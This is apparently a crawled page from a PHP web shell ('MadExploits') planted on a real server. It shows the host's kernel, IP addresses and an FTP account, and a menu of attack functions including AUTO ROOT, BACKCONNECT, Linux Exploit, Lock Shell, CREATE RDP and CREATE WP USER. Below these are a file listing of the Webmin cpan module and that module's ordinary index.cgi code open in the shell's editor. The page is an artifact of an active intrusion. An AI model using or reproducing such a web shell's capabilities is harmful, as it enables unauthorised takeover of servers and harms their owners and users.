Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.158
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
cpan /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
1.88
KB
-rw-r--r--
cgi_args.pl
124
B
-rwxr-xr-x
config
153
B
-rw-r--r--
config-solaris
202
B
-rw-r--r--
config.info
442
B
-rw-r--r--
config.info.ca
539
B
-rw-r--r--
config.info.cs
494
B
-rw-r--r--
config.info.de
544
B
-rw-r--r--
config.info.es
351
B
-rw-r--r--
config.info.fr
504
B
-rw-r--r--
config.info.hr
0
B
-rw-r--r--
config.info.hu
72
B
-rw-r--r--
config.info.it
517
B
-rw-r--r--
config.info.ja
611
B
-rw-r--r--
config.info.ko
457
B
-rw-r--r--
config.info.ms
473
B
-rw-r--r--
config.info.nl
476
B
-rw-r--r--
config.info.no
459
B
-rw-r--r--
config.info.pl
505
B
-rw-r--r--
config.info.ru
292
B
-rw-r--r--
config.info.sv
76
B
-rw-r--r--
config.info.uk
305
B
-rw-r--r--
config.info.zh
244
B
-rw-r--r--
config.info.zh_TW
224
B
-rw-r--r--
cpan-lib.pl
11.04
KB
-rwxr-xr-x
cpan.cgi
3.36
KB
-rwxr-xr-x
delete_file.cgi
312
B
-rwxr-xr-x
download.cgi
10.56
KB
-rwxr-xr-x
edit_mod.cgi
2.35
KB
-rwxr-xr-x
index.cgi
4.28
KB
-rwxr-xr-x
install.cgi
3.61
KB
-rwxr-xr-x
module.info
160
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
127
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
178
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
185
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
201
B
-rw-r--r--
module.info.ca
124
B
-rw-r--r--
module.info.ca.auto
13
B
-rw-r--r--
module.info.cs
21
B
-rw-r--r--
module.info.cs.auto
122
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
129
B
-rw-r--r--
module.info.de
126
B
-rw-r--r--
module.info.de.auto
13
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
216
B
-rw-r--r--
module.info.es
32
B
-rw-r--r--
module.info.es.auto
104
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
134
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
224
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
114
B
-rw-r--r--
module.info.fr
28
B
-rw-r--r--
module.info.fr.auto
115
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
155
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
134
B
-rw-r--r--
module.info.hu
21
B
-rw-r--r--
module.info.hu.auto
121
B
-rw-r--r--
module.info.it
20
B
-rw-r--r--
module.info.it.auto
107
B
-rw-r--r--
module.info.ja
29
B
-rw-r--r--
module.info.ja.auto
171
B
-rw-r--r--
module.info.ko
20
B
-rw-r--r--
module.info.ko.auto
110
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
140
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
121
B
-rw-r--r--
module.info.ms
109
B
-rw-r--r--
module.info.ms.auto
13
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
126
B
-rw-r--r--
module.info.nl
28
B
-rw-r--r--
module.info.nl.auto
114
B
-rw-r--r--
module.info.no
21
B
-rw-r--r--
module.info.no.auto
109
B
-rw-r--r--
module.info.pl
111
B
-rw-r--r--
module.info.pl.auto
13
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
132
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
141
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
127
B
-rw-r--r--
module.info.ru
26
B
-rw-r--r--
module.info.ru.auto
165
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
149
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
112
B
-rw-r--r--
module.info.sv
21
B
-rw-r--r--
module.info.sv.auto
101
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
226
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
139
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
185
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
214
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
164
B
-rw-r--r--
module.info.zh
20
B
-rw-r--r--
module.info.zh.auto
93
B
-rw-r--r--
module.info.zh_TW
22
B
-rw-r--r--
module.info.zh_TW.auto
99
B
-rw-r--r--
postinstall.pl
239
B
-rwxr-xr-x
uninstall.cgi
1.16
KB
-rwxr-xr-x
uninstall_mods.cgi
1.33
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.cgi
#!/usr/bin/perl # index.cgi # Display installed perl modules and a form for installing new ones require './cpan-lib.pl'; $ver = &get_nice_perl_version(); &ui_print_header(undef, $text{'index_title'}, "", undef, 1, 1, 0, undef, undef, undef, &text('index_pversion', $ver)); &ReadParse(); # Check if Perl is installed from a global zone if (&shared_perl_root()) { print "<b>$text{'index_ezone'}</b><p>\n"; &ui_print_footer("/", $text{'index'}); exit; } $formno = 0; # Start tabs @mods = &list_perl_modules(); @tabs = ( [ 'install', $text{'index_tabinstall'}, 'index.cgi?mode=install' ], [ 'mods', $text{'index_tabmods'}, 'index.cgi?mode=mods' ], [ 'suggest', $text{'index_tabsuggest'}, 'index.cgi?mode=suggest' ], ); $in{'mode'} ||= 'install'; print &ui_tabs_start(\@tabs, 'mode', $in{'mode'}, 1); # Display install form print &ui_tabs_start_tab('mode', 'install'); print "$text{'index_installmsg'}<p>\n"; print &ui_form_start("download.cgi", "form-data"); # Work out of packages should be refreshed @st = stat($packages_file); if (@st) { $now = time(); $refreshopt = "<br>".&ui_checkbox("refresh", 1, $text{'index_refresh'}, $st[9]+$config{'refresh_days'}*24*60*60 < $now); } if ($config{'incyum'} && &can_list_packaged_modules()) { $cpanopt = "<br>".&ui_checkbox("forcecpan", 1, $text{'index_forcecpan'}, 0); } @opts = ( [ 3, $text{'index_cpan'}, &ui_textbox("cpan", undef, 50)." ". &ui_button("...", undef, 0, "onClick='window.ifield = document.forms[$formno].cpan; chooser = window.open(\"cpan.cgi\", \"chooser\", \"toolbar=no,menubar=no,scrollbars=yes,width=800,height=500\"); chooser.ifield = window.ifield;'"). $refreshopt.$cpanopt ], [ 0, $text{'index_local'}, &ui_textbox("local", undef, 50)." ". &file_chooser_button("local", 0) ], [ 1, $text{'index_uploaded'}, &ui_upload("upload", 50) ], [ 2, $text{'index_ftp'}, &ui_textbox("url", undef, 50) ] ); print &ui_radio_table("source", 3, \@opts); print &ui_form_end([ [ undef, $text{'index_installok'} ] ]); print &ui_tabs_end_tab(); # Display perl modules print &ui_tabs_start_tab('mode', 'mods'); if (@mods) { print &ui_form_start("uninstall_mods.cgi", "post"); print &select_all_link("d", 1),"\n"; print &select_invert_link("d", 1),"<br>\n"; @tds = ( "width=5", undef, undef, undef, undef, "nowrap" ); print &ui_columns_start([ "", $text{'index_name'}, $text{'index_sub'}, $text{'index_desc'}, $text{'index_ver'}, $text{'index_date'} ], 100, 0, \@tds); foreach $m (sort { lc($a->{'mods'}->[$a->{'master'}]) cmp lc($b->{'mods'}->[$b->{'master'}]) } @mods) { local $mi = $m->{'master'}; local @cols; local $master = $m->{'mods'}->[$mi]; local $name = &html_escape($master); if ($m->{'pkg'}) { $name = "<b>$name</b>"; } push(@cols, "<a href='edit_mod.cgi?idx=$m->{'index'}&". "midx=$mi&name=$mod->{'name'}'>$name</a>"); push(@cols, @{$m->{'mods'}} - 1); local ($desc, $ver) = &module_desc($m, $mi); push(@cols, &html_escape($desc)); push(@cols, $ver); push(@cols, &make_date($m->{'time'})); print &ui_checked_columns_row(\@cols, \@tds, "d", $m->{'name'}); } print &ui_columns_end(); print &select_all_link("d", 1),"\n"; print &select_invert_link("d", 1),"<br>\n"; print &ui_form_end([ [ "delete", $text{'index_delete'} ], [ "upgrade", $text{'index_upgrade'} ] ]); $formno++; } else { print "<b>$text{'index_none'}</b><p>\n"; } print &ui_tabs_end_tab(); # Show button to install recommended Perl modules print &ui_tabs_start_tab('mode', 'suggest'); @allrecs = &get_recommended_modules(); @recs = grep { eval "use $_->[0]"; $@ } @allrecs; if (@recs) { print &ui_form_start("download.cgi"); print &ui_hidden("source", 3),"\n"; print "$text{'index_recs'}<p>\n"; print &ui_multi_select("cpan", [ map { [ $_->[0], &text('index_user', $_->[0], $_->[1]->{'desc'}) ] } @recs ], [ map { [ $_->[0], &text('index_user', $_->[0], $_->[1]->{'desc'}) ] } @recs ], 20, 1, 0, $text{'index_allmods2'}, $text{'index_wantmods'}, 300),"<br>\n"; print &ui_submit($text{'index_recsok'}); print &ui_form_end(); } elsif (@allrecs) { print &text('index_recsgot',"<tt>".join(" ", map { $_->[0] } @allrecs)."</tt>"),"<p>\n"; } print &ui_tabs_end_tab(); print &ui_tabs_end(1); &ui_print_footer("/", $text{'index'});
Close
